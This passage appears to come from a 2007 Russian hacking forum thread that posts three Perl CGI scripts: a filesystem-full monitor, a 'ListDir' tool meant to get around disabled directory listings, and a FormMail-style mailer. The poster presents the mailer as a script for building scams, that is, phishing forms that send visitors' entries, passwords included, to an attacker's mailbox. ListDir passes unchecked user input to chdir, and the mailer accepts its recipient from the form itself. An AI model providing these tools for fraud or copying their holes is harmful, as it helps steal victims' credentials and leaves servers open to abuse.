} else { log_fs("$fs","$lim","Ok")};
}
}
# +---------------------------------------------------------------------+
sub log_fs {
my ($l1,$l2,$l3) = @_;
$fstat="$l3";
$filesystem=$l1;
$capacity=$l2;
open(SYSDAEMONFS,">>$report") || die "Cannot open $report to log fs full\n";
write SYSDAEMONFS;
close(SYSDAEMONFS);
}
# +---------------------------------------------------------------------+
sub mail_support_fs {
my ($l1,$l2,$l3) = @_;
$fstat="$l3";
$filesystem=$l1;
$capacity=$l2;
open (MAIL, "| $mailprog $support") || die "Can't open $mailprog!\n";
print MAIL "To: $support\n";
print MAIL "From:$PROGRAM\n";
print MAIL "Subject:$PROGRAM : Filestore $node Full $filesystem\n";
print MAIL "------------------------------------------------------\n\n";
print MAIL "$PROGRAM has detected that the filesystem $filesystem";
print MAIL "on $node has become full.\n";
print MAIL "$filesystem is currently at $capacity.\n";
close (MAIL);
}
Последний раз редактировалось REDsaratov; 11.06.2007 в 01:53..
|
|
|

11.06.2007, 01:54
|
|
Участник форума
Регистрация: 17.12.2006
Сообщений: 191
Провел на форуме: 415254
Репутация:
75
|
|
ListDir v1.0 Листинг содержимого псевдокорневой директории и поддиректорий на вашем сайте. Обычно помогает при 403 ошибке: "Forbidden. You don't have permission to access /~user/dir/ on this server." т.е. когда админ запретил пользователям просмотр содержимого web директорий возможно в целях повышения security.
PHP код:
#!/usr/bin/perl
###################
# #
# ListDir v1.0 ######################
# #
################ Benvolio mindcrimer #
# #
#########################
# klassno, vy polezli v ishodniki..
# zna4it, ya tak polagayu, eto vam za4em-to ponadobilos'
# tak vot, eto delo pisalos' s boduna i za 1 ve4er
# koro4e v kode sam 4ert nogu slomit, nikakoj struktury, vse v kashu
# sej skript real'no primenyaetsya(lsya) na
# http://dezcom.mephi.ru/~jerry/download/listdir.cgi i vrode dazhe rabotal :)
# esli ne len' - mozhete zajti na moyu strani4ku
# http://dezcom.mephi.ru/~jerry/
# ili mozhno potrepat'sya po as'ke: 16455534
# vsego samogo! vash eugene a. jerusalimov aka benvolio mindcrimer :)
# p.s. es4e mozhno primenyat' index.shtml: <!--#include virtual="listdir.cgi" -->
$cvalue=""; $command="";
$envstring="$ENV{'QUERY_STRING'}";
($command,$cvalue)=split('=',$envstring);
print "Content-type: text/html\n\n";
print "<html><head><title>ListDir v1.0 by Benvolio mindcrimer</title>
<meta name=\"author\" content=\"Eugene A. Jerusalimov\"></head><body>\n";
@sp=split('\/',$ENV{'SCRIPT_NAME'});
foreach(@sp) { chomp; $sn=$_; }
print "<table><tr><td>ListDir v1.0: Browsing the directory <b><a href=\"$sn\">/</a>$cvalue</b></td></tr></table><table>\n";
if($command=="subdir" || $cvalue ne "") { chdir($cvalue); }
open(FILES,"/bin/ls |");
@files=<FILES>;
foreach(@files)
{
chomp;
($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,$atime,$mtime,$ctime,$blksize,$blocks) = stat;
@sp=split('\/');
foreach(@sp) { chomp; }
$fsz=int $size/1024;
$sep="";$subdir="";
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime($mtime);
if($mday<10) { $mday="0$mday"; }
$mon++;
if($mon<10) { $mon="0$mon"; }
$date="$mday.$mon.$year";
if($min<10) { $min="0$min"; }
if($hour<10) { $hour="0$hour"; }
$time="$hour:$min";
$octmode=(sprintf("%lo",$mode)%1000);
if($cvalue ne "") { $sep="/"; }
if($nlink==1) { ($z,$afext)=split('\.'); $fsize="$fsz"."k"; } else { $afext="dir"; $fsize="---"; $subdir="?subdir=$cvalue$sep$_"; }
if($_ ne $sn) { print "<tr><td>$afext</td><td>";
if($nlink==1) { print "<a href=\"$cvalue$sep$_\">$_</a>"; } else { print "<a href=\"$sn$subdir\">$_</a>"; }
print "</td><td>$octmode</td><td>$fsize</td><td>$date</td><td>$time</td></tr>\n"; }
}
print "</table><br><table><tr><td>Copyright <a href=\"http://dezcom.mephi.ru/~jerry/\">Benvolio mindcrimer</a> 1999.</td></tr><tr><td>If you want to get a copy of this script simply <a href=\"mailto:jerry\@dezcom.mephi.ru?subject=listdir.cgi\">mail me</a>.</td></tr></table></body></html>\n";
# (c) eugene a. jerusalimov aka. benvolio mindcrimer
полезные скрипт для рисовки СКАМА
(Этот скрипт пересылает данные с формы, заполненные посетителями Вашего сервера. В форме могут быть обозначены любые типы полей, такие, например, как текстовые, парольные (password), checkbox и т.д. Форма создается Вами и может иметь любое количество полей.)
PHP код:
#!/perl/bin/perl
#############################################################################
# Возвратная форма #
# Написана Андреем Юриным 22.09.98 #
# ###########################################################################
# WWW.SCRIPT.RU #
# ###########################################################################
# Этот скрипт является частью коллекции скриптов сервера www.script.ru #
# Свои пожелания и/или предложения присылайте на andrey@script.ru #
#############################################################################
##################################################
# Определение переменных: #
##################################################
# Настоящий путь к программе отсылки e-mail
$mailprog = '/usr/sbin/sendmail';
#Алфавиты кодировок
$tbl_alt="*ЎўЈ¤Ґ¦§Ё©Є«¬*®Їабвгдежзиймлкноп";
$tbl_koi="БВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫЭШЩЯЬАСбвчздецъйклмнопртуфхжигюыэшщяьас";
$tbl_win="абвгдежзийклмнопрстуфхцчшщьыъэюяАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ";
$win_koi="/".$tbl_win."/".$tbl_koi."/";
$win_alt="/".$tbl_win."/".$tbl_alt."/";
#
&get_date;
# Считать данные формы
&parse_form;
# Проверить все ли необходимые поля заполнены
&check_required;
# Return HTML Page or Redirect User
&return_html;
# отсылка e-mail
&send_mail;
#################################################################
# Перевод даты #
#################################################################
sub get_date {
@days = ('Воскресение','Понедельник','Вторник','Среда','Четверг','Пятница','Суббота');
@months = ('Январь','Февраль','Март','Апрель','Май','Июнь','Июль', 'Август','Сентябрь','Октябрь','Ноябрь','Декабрь');
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
if ($hour < 10) { $hour = "0$hour"; }
if ($min < 10) { $min = "0$min"; }
if ($sec < 10) { $sec = "0$sec"; }
$date = "$days[$wday], $months[$mon] $mday, 19$year в $hour\:$min\:$sec";
}
#################################################################
# Считывание данных формы #
#################################################################
sub parse_form {
if ($ENV{'REQUEST_METHOD'} eq "POST") {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'})
} elsif ($ENV{'REQUEST_METHOD'} eq "GET") {
$buffer = $ENV{'QUERY_STRING'}
} else {
&error('request_method');
}
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ s/<([^>]|\n)*>//g;
$value =~ s/<//g;
$value =~ s/>//g;
$value =~ s/\s/ /g;
$value =~ s/\cM\n/<br>/gi;
$value =~ s/\n/<br>/gi; # Без перевода каретки
$value =~ s/\|/\\/gi; #Без разделителей
if ($name eq 'recipient' ||
$name eq 'subject' ||
$name eq 'email' ||
$name eq 'realname' ||
$name eq 'redirect' ||
$name eq 'bgcolor' ||
$name eq 'background' ||
$name eq 'link_color' ||
$name eq 'vlink_color' ||
$name eq 'text_color' ||
$name eq 'alink_color' ||
$name eq 'title' ||
$name eq 'sort' ||
$name eq 'submit' ||
$name eq 'print_config' ||
$name eq 'return_link_title' ||
$name eq 'return_link_url' && ($value)) {
$CONFIG{$name} = $value;
} elsif ($name eq 'required') {
@required = split(/,/,$value);
} elsif ($name eq 'env_report') {
@env_report = split(/,/,$value);
} else {
if ($FORM{$name} && ($value)) {
$FORM{$name} = "$FORM{$name}, $value";
} elsif ($value) {
$FORM{$name} = $value;
}
}
}
}
#################################################################
# Проверка заполнения обязательных полей #
#################################################################
sub check_required {
foreach $require (@required) {
if ($require eq 'recipient' ||
$require eq 'subject' ||
$require eq 'email' ||
$require eq 'realname' ||
$require eq 'redirect' ||
$require eq 'bgcolor' ||
$require eq 'background' ||
$require eq 'link_color' ||
$require eq 'vlink_color' ||
$require eq 'alink_color' ||
$require eq 'text_color' ||
$require eq 'sort' ||
$require eq 'title' ||
$require eq 'print_config' ||
$require eq 'return_link_title' ||
$require eq 'return_link_url') {
if (!($CONFIG{$require}) || $CONFIG{$require} eq ' ') {
push(@ERROR,$require);
}
} elsif (!($FORM{$require}) || $FORM{$require} eq ' ') {
push(@ERROR,$require);
}
}
if (@ERROR) {
&error('missing_fields', @ERROR);
}
}
#################################################################
# Вывод сообщения о добавлении записи #
#################################################################
sub return_html {
my $bod = &body_attributes;
if ($CONFIG{'redirect'} =~ /http\:\/\/.*\..*/) {
print "Location: $CONFIG{'redirect'}\n\n";
} else {
if ($CONFIG{'title'}) {
&print_head($CONFIG{'title'}, $bod);
} else {
&print_head($CONFIG{'title'}, $bod);
}
print "<center>\n";
if ($CONFIG{'title'}) {
print "<h1>$CONFIG{'title'}</h1>\n";
} else {
print "<h1>Спасибо</h1>\n";
}
print "</center>\n";
#print "<center>Это содержимое формы, заполненой Вами и отправленной к $CONFIG{'recipient'}.<br>";
print "$date</center><p><hr size=2 width=90\%><p>\n";
if ($CONFIG{'sort'} eq 'alphabetic') {
foreach $key (sort keys %FORM) {
print "<b>$key:</b> $FORM{$key}<p>\n";
}
} elsif ($CONFIG{'sort'} =~ /^order:.*,.*/) {
$sort_order = $CONFIG{'sort'};
$sort_order =~ s/order://;
@sorted_fields = split(/,/, $sort_order);
foreach $sorted_field (@sorted_fields) {
if ($FORM{$sorted_field}) {
print "<b>$sorted_field:</b> $FORM{$sorted_field}<p>\n";
}
}
} else {
foreach $key (keys %FORM) {
print "<b>$key:</b> $FORM{$key}<p>\n";
}
}
print "<p><hr size=7 width=75%><p>\n";
if ($CONFIG{'return_link_url'} =~ /http\:\/\/.*\..*/ && $CONFIG{'return_link_title'}) {
print "<ul>\n";
print "<li><a href=\"$CONFIG{'return_link_url'}\">$CONFIG{'return_link_title'}</a>\n";
print "</ul>\n";
}
&print_end;
}
}
#################################################################
# Подпрограмма отправки сообщения #
#################################################################
sub send_mail {
foreach $i (keys %FORM) {
eval("\$FORM{$i} =~ tr".$win_koi);
}
foreach $i (keys %CONFIG) {
eval("\$CONFIG{$i} =~ tr".$win_koi);
}
eval("\$date =~ tr".$win_koi);
open(MAIL,"|$mailprog -t");
# open(MAIL, ">form");
print MAIL "To: $CONFIG{'recipient'}\n";
print MAIL "From: $CONFIG{'email'} ($CONFIG{'realname'})\n";
if ($CONFIG{'subject'}) {
print MAIL "Subject: $CONFIG{'subject'}\n\n";
} else {
print MAIL "Subject: WWW Form Submission\n\n";
}
print MAIL "***** This is free service from Land.Ru ****\n";
print MAIL "It's results of fill You form. It was ";
print MAIL "submitted by $CONFIG{'realname'} ($CONFIG{'email'}) on ";
print MAIL "$date\n";
print MAIL "---------------------------------------------------------------------------\n\n";
if ($CONFIG{'print_config'}) {
@print_config = split(/,/,$CONFIG{'print_config'});
foreach $print_config (@print_config) {
if ($CONFIG{$print_config}) {
print MAIL "$print_config: $CONFIG{$print_config}\n\n";
}
}
}
if ($CONFIG{'sort'} eq 'alphabetic') {
foreach $key (sort keys %FORM) {
print MAIL "$key: $FORM{$key}\n\n";
}
} elsif ($CONFIG{'sort'} =~ /^order:.*,.*/) {
$CONFIG{'sort'} =~ s/order://;
@sorted_fields = split(/,/, $CONFIG{'sort'});
foreach $sorted_field (@sorted_fields) {
if ($FORM{$sorted_field}) {
print MAIL "$sorted_field: $FORM{$sorted_field}\n\n";
}
}
} else {
foreach $key (keys %FORM) {
print MAIL "$key: $FORM{$key}\n\n";
}
}
print MAIL "---------------------------------------------------------------------------\n";
foreach $env_report (@env_report) {
print MAIL "$env_report: $ENV{$env_report}\n";
}
close (MAIL);
}
#################################################################
# Вывод сообщений об ошибках #
#################################################################
sub error {
my $bod = &body_attributes;
($error,@error_fields) = @_;
if ($error eq 'bad_referer') {
&print_head("Нет прав доступа");
print "<center>\n <h1>Извините, но у Вас нет прав доступа!</h1>\n </center>\n";
&print_end;
} elsif ($error eq 'request_method') {
&print_head("Не тот метод", $bod);
print "<center>\n <h1>Метод, которым была отправлена форма, не поддерживается сервером. Форма может быть отправлена только способами GET или POST</h1>\n </center>\n";
&print_end;
} elsif ($error eq 'missing_fields') {
&print_head("Вы заполнили не все поля", $bod);
print "<center>\n <h1>Вы оставили обязательные поля в форме пустыми</h1>\n </center>\n";
print "Следующие поля необходимо заполнить:<p>\n";
print "<ul>\n";
foreach $missing_field (@error_fields) {
print "<li>$missing_field\n";
}
print "</ul>\n";
print "<p><hr size=7 width=75\%><p>\n";
print "Возвратитесь в форму и попробуйте <a href=\"$ENV{'HTTP_REFERER'}\">заполнить поля</a>\n";
&print_end;
}
exit;
}
#################################################################
# Вывод аттрибутов тега <body> #
#################################################################
sub body_attributes {
my $out;
if ($CONFIG{'bgcolor'}) {
$out = $out." bgcolor=\"$CONFIG{'bgcolor'}\"";
}
if ($CONFIG{'background'} =~ /http\:\/\/.*\..*/) {
$out = $out." background=\"$CONFIG{'background'}\"";
}
if ($CONFIG{'link_color'}) {
$out = $out." link=\"$CONFIG{'link_color'}\"";
}
if ($CONFIG{'vlink_color'}) {
$out = $out." vlink=\"$CONFIG{'vlink_color'}\"";
}
if ($CONFIG{'alink_color'}) {
$out = $out." alink=\"$CONFIG{'alink_color'}\"";
}
if ($CONFIG{'text_color'}) {
$out = $out." text=\"$CONFIG{'text_color'}\"";
}
return $out;
}
#################################################################
# Печать HTML - заголовка #
#################################################################
sub print_head {
my $bod = $_[1];
print "Content-type: text/html";
print "\n\n";
print "<html><head>";
print "<title>$_[0]</title>\n";
print "</head><body $bod>\n";
print "<div align=center><table border=\"0\" cellpadding=\"0\" cellspacing=\"4\" width=\"75%\">\n";
}
#################################################################
# Печать HTML - конца #
#################################################################
sub print_end {
$rand = int rand(10000000);
print "</table></div>
<p align=center><a href=\"http://www.reklama.ru/cgi-bin/href/land?$rand\" target=\"_top\"><img src=\"http://www.reklama.ru/cgi-bin/banner/land?$rand\" alt=\"www.reklama.ru\" border=\"0\" height=\"60\" width=\"468\"></a></p>
<p align=right><font size=-1><a href=\"http://www.script.ru\">Script.Ru</a>
<br>Reconstructed for Land.Ru<br>© 1998 <a href=\"mailto:andrey\@script.ru\">Андрей Юрин</a>
<br>Create by<br>© 1996 <a href=\"http://www.worldwidemart.com/scripts/formmail.shtml\">Matt Wright</a>
</font></p></body></html>\n";
}
Последний раз редактировалось REDsaratov; 11.06.2007 в 02:05..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|